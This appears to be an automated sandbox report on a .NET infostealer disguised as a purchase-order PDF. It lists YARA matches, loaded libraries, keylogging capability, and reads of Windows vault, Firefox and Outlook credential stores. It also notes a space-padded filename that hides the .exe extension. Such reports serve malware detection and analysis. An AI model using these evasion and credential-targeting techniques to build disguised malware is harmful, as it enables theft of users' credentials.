Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.5:49713 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, abAX9N.cs

.Net Code: pS7gaGd

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.New order -24900242 OP_pdf .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: New order -24900242 OP_pdf .exe
Source: initial sample	Static PE information: Filename: New order -24900242 OP_pdf .exe

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 0_2_06CDDDD8	0_2_06CDDDD8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 0_2_06CC0040	0_2_06CC0040
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 0_2_06CC0007	0_2_06CC0007
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 0_2_06CDD1E0	0_2_06CDD1E0
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A54A98	3_2_02A54A98
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A5E938	3_2_02A5E938
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A5A968	3_2_02A5A968
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A53E80	3_2_02A53E80
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A5AFE4	3_2_02A5AFE4
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A5DCF8	3_2_02A5DCF8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A5DCF8	3_2_02A5DCF8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A541C8	3_2_02A541C8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067DA448	3_2_067DA448
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E56C8	3_2_067E56C8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E6710	3_2_067E6710
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067EC2A8	3_2_067EC2A8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067EB347	3_2_067EB347
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E3188	3_2_067E3188
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E7EA8	3_2_067E7EA8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E77C8	3_2_067E77C8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067EE4C8	3_2_067EE4C8
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E2340	3_2_067E2340
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E0040	3_2_067E0040
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E5E03	3_2_067E5E03
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_06E733D0	3_2_06E733D0
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E02E5	3_2_067E02E5
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E0007	3_2_067E0007

Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000000.1984693419.0000000000AC0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOruvjnq.exe vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2435951249.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAxyxoi.dll" vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004AAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2439957868.00000000063A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004BE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamead5a3397-f681-40fe-8437-ba31cb2c1325.exe4 vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004179000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAxyxoi.dll" vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamead5a3397-f681-40fe-8437-ba31cb2c1325.exe4 vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclrjit.dllT vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.000000000487B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAxyxoi.dll" vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228871194.0000000000B89000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe, 00000003.00000002.3228605028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamead5a3397-f681-40fe-8437-ba31cb2c1325.exe4 vs New order -24900242 OP_pdf .exe
Source: New order -24900242 OP_pdf .exe	Binary or memory string: OriginalFilenameOruvjnq.exe vs New order -24900242 OP_pdf .exe

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Section loaded: wintypes.dll	Jump to behavior

Source: New order -24900242 OP_pdf .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.New order -24900242 OP_pdf .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.New order -24900242 OP_pdf .exe.30b7ac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, RsYAkkzVoy.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, Kqqzixk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, xROdzGigX.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, ywes.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, iPVW0zV.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, 1Pi9sgbHwoV.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.New order -24900242 OP_pdf .exe.4bfdc10.8.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@2/3

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New order -24900242 OP_pdf .exe.log

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Mutant created: NULL

Source: New order -24900242 OP_pdf .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: New order -24900242 OP_pdf .exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: New order -24900242 OP_pdf .exe	ReversingLabs: Detection: 18%
Source: New order -24900242 OP_pdf .exe	Virustotal: Detection: 37%

Source: unknown	Process created: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process created: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Process created: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe "C:\Users\user\Desktop\New order -24900242 OP_pdf .exe"	Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: New order -24900242 OP_pdf .exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: New order -24900242 OP_pdf .exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004AAE000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2439957868.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004AAE000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2439957868.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2428175069.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000003087000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: New order -24900242 OP_pdf .exe, 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2434561378.0000000004DD0000.00000004.08000000.00040000.00000000.sdmp, New order -24900242 OP_pdf .exe, 00000000.00000002.2440506469.0000000006EB8000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: New order -24900242 OP_pdf .exe, -.cs	.Net Code: _0001 System.AppDomain.Load(byte[])
Source: 0.2.New order -24900242 OP_pdf .exe.6eb8a98.13.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.New order -24900242 OP_pdf .exe.6eb8a98.13.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.New order -24900242 OP_pdf .exe.6eb8a98.13.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.New order -24900242 OP_pdf .exe.6eb8a98.13.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.New order -24900242 OP_pdf .exe.6eb8a98.13.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.6d61038.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New order -24900242 OP_pdf .exe.6330000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2439632203.0000000006330000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2440506469.0000000006D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2440506469.0000000006E01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2423332110.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: New order -24900242 OP_pdf .exe PID: 7120, type: MEMORYSTR

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 0_2_06CC2139 push ebx; ret	0_2_06CC213A
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A50C95 push edi; retf	3_2_02A50C3A
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_02A50C3D push edi; ret	3_2_02A50CC2
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	Code function: 3_2_067E5E03 push ecx; iretd	3_2_067E6174

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File created: \new order -24900242 op_pdf .exe
Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe	File created: \new order -24900242 op_pdf .exe			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

Source: Detected 18 consecutive spaces in filename

Static PE information: New order -24900242 OP_pdf .exe

Source: C:\Users\user\Desktop\New order -24900242 OP_pdf .exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

